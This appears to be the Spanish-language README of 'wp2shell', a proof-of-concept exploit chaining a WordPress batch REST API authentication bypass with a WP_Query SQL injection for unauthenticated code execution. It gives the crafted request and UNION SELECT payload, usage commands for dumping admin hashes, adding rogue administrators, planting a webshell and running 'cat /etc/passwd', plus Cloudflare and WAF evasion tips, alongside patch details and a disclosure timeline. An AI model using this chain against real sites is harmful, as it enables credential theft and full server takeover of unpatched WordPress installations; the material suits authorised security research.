Prueba de concepto de RCE pre-autenticación que encadena un bypass de autenticación de la API batch REST de WordPress con una inyección SQL en WP_Query para volcar hashes, añadir usuarios administradores o implantar una webshell.
PoC de RCE Pre-Auth - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1
Solo para pruebas de penetración autorizadas e investigación de seguridad. Ejecutar esto contra sistemas sin autorización por escrito es ilegal. Los autores no aceptan ninguna responsabilidad por el mal uso.
wp2shell es un exploit de prueba de concepto que encadena dos vulnerabilidades reportadas de forma independiente para lograr ejecución remota de código no autenticada en instalaciones de WordPress sin parchear.
| CVE | Componente | Clase | Autenticación requerida |
|---|
| CVE-2026-63030 | REST Batch API (WP_REST_Server) | Desincronización de arrays → bypass de autenticación | Ninguna |
| CVE-2026-60137 | WP_Query | Inyección SQL vía author__not_in | Ninguna (eludida por la anterior) |
El resultado final: una shell en la máquina, una cuenta de administrador maliciosa o un hash de credenciales volcado — todo desde una única petición POST no autenticada.
Versiones afectadas: WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 Corregido en: WordPress 6.9.5 / 7.0.2 (parche publicado junto con la divulgación coordinada)
WordPress 5.6 introdujo el endpoint de procesamiento por lotes en /wp-json/batch/v1. Permite a los clientes REST autenticados agrupar múltiples subpeticiones en un único viaje HTTP. Cada subpetición es validada y despachada de forma independiente por WP_REST_Server::serve_batch_request_v1().
Dentro de serve_batch_request_v1() (simplificado):
$requests = $data['requests'];
$responses = [];
$matches = [];
// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
$parsed = wp_parse_url($request['path']);
if (is_wp_error($parsed) || $parsed === false) {
// Failure: append WP_Error to $responses — but NOT to $matches
$responses[] = $this->envelope_response(new WP_Error(...), false);
continue; // <─── skips the push to $matches
}
// Success: resolve auth/permissions for this path
$match = $this->match_route($parsed['path'], $request['method']);
$matches[] = $match; // <─── stored at array-sequential index
$responses[] = null; // <─── placeholder at same index
}
// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
// $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
$responses[$j] = $this->dispatch($match); // <─── dispatches with wrong context
}
Se espera que los dos arrays ($responses y $matches) permanezcan sincronizados — una entrada por subpetición, mismo índice. Cuando la subpetición [0] falla en wp_parse_url(), añade una entrada a $responses pero no a $matches. Después del primer bucle:
$responses = [ WP_Error, null ] ← index 0 = error, index 1 = placeholder
$matches = [ match_for_req1 ] ← index 0 = match for request[1]
El bucle 2 entonces despacha $matches[0] y escribe el resultado en $responses[0]. Está despachando request[1] pero sobrescribiendo el índice 0 en responses — y, de forma crítica, utiliza el contexto de permisos que se calculó como parte del manejo del error de la request[0] fallida, no el contexto de permisos del endpoint objetivo.
El efecto práctico: cualquier endpoint que requiera autenticación (incluidos los endpoints que realizan consultas SQL) puede ser invocado sin credenciales.
"path": "://\x00" # triggers wp_parse_url() → false
La cadena ://\x00 es una cadena válida en Python pero una URL inválida en el wrapper wp_parse_url() de PHP (el byte nulo hace que el parseo falle, devolviendo false en lugar de un WP_Error, lo que hace inútil la comprobación is_wp_error() — solo $parsed === false lo detecta, y la alineación del array ya está rota en ese punto).
author__not_in de WP_QueryLa REST API de WordPress para entradas (/wp/v2/posts) expone un parámetro de consulta author_exclude que se mapea directamente al argumento author__not_in de WP_Query. WP_Query es la abstracción de base de datos central utilizada para casi todas las consultas de contenido en WordPress.
En WP_Query::parse_query() (simplificado):
$author__not_in = $this->get('author__not_in');
if (is_array($author__not_in)) {
$author__not_in = array_map('absint', $author__not_in);
// absint() converts every element to a safe non-negative integer
}
// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:
Más adelante en WP_Query::get_posts():
if (!empty($author__not_in)) {
$where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
// ^^^^^^^^^^^^^^^^
// raw string dropped into SQL with no escaping
}
La sanitización solo se activa cuando $author__not_in es un array. El sistema de tipos de PHP determina esto en función de cómo llegó el valor:
[1, 2, 3] → is_array() = true → sanitizado"1,2,3" (una cadena) → is_array() = false → no sanitizadoEl endpoint REST acepta author_exclude desde la cadena de consulta de la URL. Llega como una cadena. WP_Query omite el bloque de sanitización, y el valor sin procesar se interpola en la cláusula WHERE de SQL.
El punto de inyección aterriza dentro de un contexto NOT IN (...):
-- Normal query:
WHERE post_author NOT IN (1)
-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)
Debido a que el endpoint batch despacha la subpetición como parte de un resultado de consulta mayor, las filas del UNION se devuelven en el cuerpo de la respuesta JSON de REST, lo que convierte esto en una extracción Boolean/UNION sin ciegas — sin necesidad de timing ni de canales fuera de banda.
Attacker (no credentials)
│
▼
POST /wp-json/batch/v1
{
"requests": [
{ "path": "://\x00", "method": "GET" }, ← [1] malformed URL: triggers desync
{ "path": "/wp/v2/posts?author_exclude=
0 UNION SELECT ... FROM wp_users-- -", ← [2] SQLi payload
"method": "GET" }
]
}
│
▼
WP_REST_Server::serve_batch_request_v1()
├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
│ NO push to $matches
├─ Request[1] matches route → $matches[0] = route
└─ Loop 2 dispatches $matches[0] with wrong auth context
│
▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
├─ is_array() = false → sanitization skipped
└─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
│
▼
MySQL executes UNION query → wp_users data in SELECT result
│
▼
REST JSON response contains user_login + user_pass in post fields
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Post-exploitation (any of): │
│ • Dump admin hash → crack offline with hashcat │
│ • INSERT rogue admin via stacked queries │
│ • SELECT ... INTO OUTFILE → PHP webshell → OS access │
└─────────────────────────────────────────────────────────────┘
Python >= 3.8
requests
cloudscraper
Instalar dependencias:
pip install requests cloudscraper
usage: wp2shell.py [-h] [--mode {detect,dump,adduser,shell}]
[--cmd CMD] [--user USER] [--password PASSWORD]
[--prefix PREFIX] [--proxy PROXY]
[--no-interactive] [--debug] [--cookie COOKIE]
target
| Modo | Qué hace |
|---|---|
detect | Identifica la versión de WP y comprueba si existe el endpoint batch. Sin explotación. |
dump | Extrae el hash de la contraseña del administrador mediante UNION SQLi. |
adduser | Crea una nueva cuenta de administrador mediante consultas INSERT apiladas. |
shell | Coloca un webshell PHP mediante SELECT INTO OUTFILE y luego pasa a una shell interactiva. |
Solo detección — seguro para ejecutar durante el alcance:
python3 wp2shell.py https://target.com --mode detect
Volcar el hash del admin:
python3 wp2shell.py https://target.com --mode dump
Volcar con salida de depuración (muestra las respuestas HTTP sin procesar — útil cuando hay un WAF involucrado):
python3 wp2shell.py https://target.com --mode dump --debug
Crear una cuenta de administrador maliciosa:
python3 wp2shell.py https://target.com --mode adduser --user pentest_admin --password 'S3cur3P@ss!'
Colocar shell y pasar a un prompt interactivo:
python3 wp2shell.py https://target.com --mode shell
Ejecución de comando en un solo paso (no interactiva):
python3 wp2shell.py https://target.com --mode shell --no-interactive --cmd "cat /etc/passwd"
A través del proxy Burp:
python3 wp2shell.py https://target.com --mode dump --proxy http://127.0.0.1:8080
Eludir Cloudflare con una cookie cf_clearance existente:
python3 wp2shell.py https://target.com --mode dump --cookie "cf_clearance=<value>"
Prefijo de tabla no predeterminado:
python3 wp2shell.py https://target.com --mode dump --prefix staging_
La herramienta utiliza cloudscraper por defecto, que imita la huella TLS de Chrome y resuelve automáticamente el desafío JavaScript de Cloudflare (modo iuam). Esto cubre la mayoría de los objetivos de hosting compartido detrás de Cloudflare.
Si el objetivo utiliza la gestión de bots de Cloudflare (__cf_bm) o ya tienes una cookie de desafío resuelta, pásala con --cookie "cf_clearance=..." para usar una sesión requests simple en su lugar.
El endpoint batch tiene dos rutas registradas. Las reglas del WAF con frecuencia bloquean la ruta estándar (/wp-json/batch/v1) pero pasan por alto la ruta heredada con parámetro de consulta (/?rest_route=/batch/v1). La herramienta sondea ambas automáticamente.
[-] Could not extract credentials
--debug para ver la respuesta JSON sin procesar.--prefix. Muchas instalaciones usan wp_ (predeterminado); algunas usan prefijos personalizados.content.rendered del objetivo puede estar filtrado. Prueba --mode adduser en su lugar.[-] OUTFILE failed
SELECT INTO OUTFILE requiere el privilegio FILE de MySQL en el usuario de la base de datos. Esto es común en hosting compartido pero normalmente está deshabilitado en bases de datos en la nube/gestionadas (RDS, Cloud SQL, etc.).--mode dump para leer la ruta desde los archivos de configuración.[-] Target does not appear vulnerable
GET /wp-json/ y busca /batch/v1 en la clave routes.WordPress 6.9.5 / 7.0.2 abordó ambos CVE:
CVE-2026-63030: serve_batch_request_v1() ahora mantiene un único array unificado tanto para los datos de coincidencia como para las respuestas, eliminando la desincronización de índices. Las peticiones fallidas se rastrean por índice en la estructura unificada.
CVE-2026-60137: WP_Query::parse_query() ahora convierte author__not_in a un array de forma incondicional antes de la sanitización, independientemente del tipo de entrada:
$author__not_in = array_map('absint', (array) $author__not_in);
| CVE | Puntuación | Vector |
|---|---|---|
| CVE-2026-63030 | 9.8 Crítica | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVE-2026-60137 | 9.8 Crítica | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Fecha | Evento |
|---|---|
| 2026-05-14 | CVE-2026-60137 descubierto durante un encargo de pentest |
| 2026-05-19 | CVE-2026-63030 descubierto; cadena confirmada como RCE pre-auth |
| 2026-05-22 | Ambos CVE reportados al Equipo de Seguridad de WordPress vía HackerOne |
| 2026-06-03 | El Equipo de Seguridad de WordPress confirma y comienza el desarrollo del parche |
| 2026-07-08 | Parches publicados (WP 6.9.5 / 7.0.2) junto con la divulgación coordinada |
| 2026-07-22 | PoC publicado |
Esta herramienta se proporciona solo para pruebas de seguridad autorizadas e investigación.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND.
USE AT YOUR OWN RISK. FOR AUTHORIZED TESTING ONLY.
Licencia MIT — consulta LICENSE